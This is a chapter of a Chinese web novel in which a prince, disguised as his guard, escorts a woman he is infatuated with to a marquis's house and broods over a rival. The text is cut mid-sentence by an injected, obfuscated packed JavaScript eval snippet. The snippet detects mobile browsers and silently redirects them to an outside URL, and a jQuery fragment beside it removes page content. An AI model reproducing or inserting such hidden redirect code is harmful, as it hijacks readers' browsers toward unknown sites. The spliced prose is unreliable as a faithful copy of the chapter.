30. 出门

作品:《大胆,疯批皇子竟想囚仙!

    范玖站在铜镜前,看着对面与自己一模一样的"另一个范玖",嘴角不受控制地抽了抽。


    "殿下,"他艰难地开口,"您确定要这样?"


    谢承霄正对着铜镜左右端详,镜中映出的分明是范玖的脸——浓眉方颌,连眼角那道疤都分毫不差。可偏偏那双眼睛亮得惊人,带着范玖绝不会有的雀跃。


    "完美。"谢承霄满意地点头,转身拍了拍真范玖的肩膀,"好好看家,我要陪姐姐出门了。"


    不等范玖再开口,谢承霄已经三步并作两步冲出房门,只留下范玖一人对着空荡荡的屋子叹气。


    "哎......"范玖摸了摸自己"被偷走"的脸,幽幽道,"殿下平日里多精明的一个人,怎么一遇到陆姑娘就......"他咽下了后半句"像个傻子",毕竟他还想多活几年。


    ......


    谢承霄一路小跑来到陆景的院落,远远看见那道素白身影正坐紫藤花下。他故意放重脚步,学着范玖惯常的沉稳姿态走过去。


    "陆姑娘。"他压低嗓音,扶着腰间佩刀低头行礼——完全是范玖平日的样子。


    陆景头也不抬:"装得不像。"


    谢承霄顿时泄了气,恢复原本清朗的声线:"姐姐看我易容术如何?"他转了个圈,"是不是足以以假乱真?"


    阳光透过树叶间隙,在"范玖"脸上投下斑驳光影。陆景终于抬头,却在看清的瞬间皱起眉——这张属于范玖的粗犷面孔,正用谢承霄特有的炽热眼神望着她,违和得让人头皮发麻。


    谢承霄见她久久不语,有些忐忑地摸了摸脸:"哪里不对吗?"


    话音未落,陆景突然起身上前一步。


    谢承霄呼吸一滞,眼睁睁看着那只素白的手伸向自己的脸。微凉的指尖触到下颌时,他整个人都僵住了,只能感受到那柔软的指腹沿着面具边缘轻轻滑动,带起一阵细微的战栗。


    陆景的指尖沿着下颌线游走,在耳后寻到人皮面具的接缝。


    "嘶——"


    轻微的剥离声响起,人皮面具被完整取下。谢承霄原本的容貌重见天日,额前还沾着几丝薄汗,在阳光下闪闪发亮。


    陆景将面具放在石桌上,仔细端详着眼前这张脸——剑眉星目,鼻梁高挺,比那张假面顺眼多了。


    谢承霄还沉浸在方才的触碰中,不自觉地抚上自己被摸过的脸颊,嘴角偷偷扬起。那触感太过真实,让他一时忘了言语。


    直到陆景已经走出几步远,他才如梦初醒般追上去。


    "姐姐是不是不想带我去了?"他委屈地跟在后面,"没了面具我还怎么出门......"


    他嘴上这么说,脚步却寸步不离地黏在陆景身后,完全一副"就算你赶我,我也要跟着"的架势。


    陆景突然在莲花池边驻足,微微偏头示意他看水面。谢承霄疑惑低头,瞳孔骤然收缩——


    水中倒影赫然是范玖的脸!


    "这......"他不可置信地摸着自己的面颊,触感分明是自己的皮肤,可倒影却实实在在变成了另一个人。


    "幻术而已。"陆景淡淡道,"只能改变容貌,改不了神态习惯。"她瞥了眼兴奋得眼睛发亮的谢承霄,"若遇熟人,少说话。"


    谢承霄连连点头,目光却始终黏在陆景身上。阳光穿透她的白衣,勾勒出纤细的轮廓,仿佛整个人都在发光。他忽然想起那个未完成的吻,喉结不自觉滚动。


    “走了。”陆景迈步。


    谢承霄赶紧追上,嘴角却扬起掩不住的笑。池面涟漪荡漾,倒映着一前一后两个身影——


    一个白衣翩跹如谪仙,一个亦步亦趋似信徒。


    ......


    马车缓缓行驶在青石板路上,车轮碾过落叶发出细碎的声响。陆景端坐在车厢内,指尖轻扣茶盏,忽然有些后悔带谢承霄出来——


    从上车起,那道炽热的目光就如影随形地黏在她身上。


    起初只是流连于她的眉眼,渐渐地却愈发肆无忌惮,顺着颈线滑落至锁骨,最后甚至大胆地停留在腰间。


    那视线如有实质,烫得她袖中的手指微微蜷缩,仿佛下一秒就要将她拆吃入腹。


    "谢承霄。"


    她皱眉警告,声音里凝着霜雪。


    被点到名的人眼睛一亮,非但没有收敛,反而变本加厉地将目光落在她唇上——那里还沾着一点茶渍,在阳光下泛着莹润的水光。


    "姐姐有什么吩咐?"他嗓音低哑,像是被砂纸磨过。


    陆景指尖一紧,茶盏发出细微的脆响:"再看就把你丢下去。"


    谢承霄眨了眨眼,一脸无辜:"可我对面只有姐姐啊。"他歪着头,发丝垂落额前,看起来纯良又委屈,"想不看都不行呢。"


    说着,他突然扬起一个乖顺的笑容:"不如......"


    马车恰在此时碾过一块石子,车身微微倾斜。谢承霄借着这股力道"不小心"跌坐到陆景身侧,手臂紧贴着她的衣袖,体温透过薄薄的衣料传来,烫得惊人。


    "这样不就看不到了。"他得逞地轻笑,鼻尖几乎要碰到她的耳垂。


    清冷的幽香萦绕在呼吸间,谢承霄深深吸气,像瘾君子汲取毒药般沉醉——是姐姐的味道。


    热气喷洒在耳际,陆景手指一颤,茶盏中的水面荡起细微的涟漪。她本该推开他,可身体却违背意志地僵在原地——


    她竟然不讨厌这种亲近。


    谢承霄的膝盖似有若无地蹭过她的裙摆,温热的掌心虚虚悬在她腰后,既不敢真的搂上去,又不舍得撤离。


    这种小心翼翼的试探让陆景心头微动,忽然想起那夜他跪在床前,哭得像个孩子的模样。


    "......"


    她垂眸啜了口茶,终究没有出声赶人。


    谢承霄敏锐地察觉到她的纵容,眼底闪过一丝狂喜。他试探性地将距离又缩短半寸,见陆景没有反对,便得寸进尺地将下巴虚搁在她肩头——


    "姐姐。"


    这声呼唤又轻又软,带着点撒娇的意味。陆景侧目,正对上他近在咫尺的眼睛。那里面盛着毫不掩饰的眷恋,纯粹得让人心尖发颤。


    车外突然传来小贩的吆喝声,惊醒了这方狭小的暧昧天地。陆景别过脸,指尖无意识地摩挲着茶盏边缘:"坐好。"


    语气虽冷,耳尖却泛起一抹薄红。


    谢承霄乖乖直起身,却在她看不见的角度勾起唇角——他的明月,终于允许他稍稍靠近了。


    ......


    马车停在明毅侯府正门前,谢承霄先一步跃下车辕,抬手为陆景撩起车帘。


    他眯眼望着门楣上金漆剥落的匾额,忽然想起自秦老太太寿宴后,自己虽来过多次,却再未堂堂正正走过这扇正门——每次都是翻墙。


    "敢问可是六皇子府上的范大人?"


    门口的家丁殷勤地迎上来,眼睛却不住地往陆景身上瞟。谢承霄侧身半步,不动声色地挡住那令人不悦的视线:"正是。我等来见秦大小姐,速去通传。"


    "是是是,您二位请先到前厅用茶!"


    穿过熟悉的回廊时,谢承霄的指尖几次想勾住陆景的袖角,又硬生生忍住。


    他现在是"范玖",不能逾矩。这个认知让他胸口发闷,连带着看侯府的一草一木都不顺眼起来。


    前厅的茶刚沏好,进来的却不是秦月棠,而是秦武父子。


    "范大人!"秦武笑容满面地拱手,"六殿下近来可好?"


    谢承霄强忍不耐,按着范玖平日里的做派回礼:"多谢侯爷挂念,殿下一切安好。"


    他刚坐下,就发现秦既明像根木头似的杵在门边,眼睛直勾勾地盯着陆景——从雪白的颈子到纤细的腰肢,那目光黏腻得令人作呕。


    "侯爷。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952522|176172||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    "谢承霄指节重重叩在茶几上,"世子可是身体不适?"


    秦武这才注意到儿子的失态,干咳一声。秦既明如梦初醒,却仍忍不住偷瞄陆景:"这位姑娘是......"


    "殿下的贵客。"谢承霄冷声打断,连个名字都吝于透露。


    气氛正尴尬时,秦月棠终于姗姗来迟。她规规矩矩地向父亲行礼,却在看到陆景时瞳孔微颤——翠云死死掐住自己的手才没惊呼出声。


    陆景起身:"秦小姐,在下陆景。听闻前日你捡了件重要物件?"


    "原来是陆姑娘的东西!"秦月棠演技精湛,"我收在房里了,这就带您去取。"


    秦既明突然蹿出来:"我为陆小姐引路!"


    谢承霄眼底瞬间结冰。他霍然起身,腰牌"啪"地拍在桌上:"范某奉殿下之命,贴身保护陆小姐。"每个字都像从牙缝里挤出来的,"不劳世子费心。"


    "可是......"


    "弟弟不是要科考吗?"秦月棠直接截断话头,"父亲昨儿还说你的文章欠火候。"


    陆景忽然转身,指尖虚按在谢承霄袖口:"你一男子,去后宅不便。"


    那只手明明没碰到皮肤,却烫得谢承霄浑身一僵。他眼睁睁看着陆景随秦月棠离去,秦既明还想跟上,被翠云"不小心"绊了个趔趄。


    茶盏在谢承霄手中裂开一道细纹。


    "范大人?"秦武疑惑地看着他捏碎的杯子。


    谢承霄盯着陆景消失的方向,声音阴森得吓人:


    "手滑。"


    茶汤在青瓷盏中渐渐冷却,谢承霄指尖轻叩桌沿,与秦武的寒暄左耳进右耳出。他的思绪早已飘向后院,想象着陆景此刻在做什么——是否被秦家的雕梁画栋晃了眼?是否闻见了园中迟桂的香气?又或者......


    "老爷!二小姐又犯病了!"


    小厮仓皇的通报声打断了谢承霄的臆想。他抬眼,看见秦武眉头紧锁:"这都第几回了?自打从宫里回来......"话到一半突然噤声,像被什么掐住了喉咙。


    谢承霄顺势起身,瓷盏与桌面相碰,发出清脆的"叮"声:"侯爷快去看看吧,别耽误了病情。"


    他的声音平静得近乎温柔,眼底却结着冰。余光里,秦既明那张令人作呕的脸正泛起异样的潮红——这小子听说能去后宅,连呼吸都急促了几分。


    "那本侯就先失陪了。"秦武拱手告退,临走前对下人喝道,"好生伺候范大人!"


    谢承霄微笑着目送父子二人离去。当秦既明的衣角即将消失在屏风后时,那小子竟回头望了一眼通往后院的方向,眼底露出兴奋的光。


    "咔——"


    桌下的拳头捏得指节发白。谢承霄缓缓松开手,他盯着屏风上秦既明残留的剪影,眼中寒意尽现。


    “大人可要用着糕点?”


    婢女怯生生的询问将他拉回现实。谢承霄垂眸,浓密的睫毛掩去眼中翻涌的杀意:"不必。"


    瓷杯被轻轻放回桌面,杯底与托盘相触的声响格外清晰。谢承霄深吸一口气,强迫自己冷静下来。


    他不能吓跑陆景,不能让姐姐看见他这副丑陋的模样——那些阴暗的、扭曲的念头,必须牢牢锁在心底最肮脏的角落。


    可当婢女转身的瞬间,他仍忍不住望向通往后院的垂花门,眼中闪过一丝阴鸷。


    再等等。


    等一个合适的时机,等一场无人察觉的"意外"。到那时,他会亲手把秦既明的眼珠泡在酒里,送给侯府当贺礼。


    窗外秋风乍起,卷落一地枯叶。谢承霄摩挲着腰间的玉佩,忽然想起陆景今早替他摘下面具时,指尖不经意擦过他脖颈的触感。


    这念头像一盆冰水,暂时浇熄了沸腾的杀意。他低头轻笑,再抬头时,又恢复了那副温润如玉的假面——只是眼底的暗潮,始终未曾褪去。


    没了就没了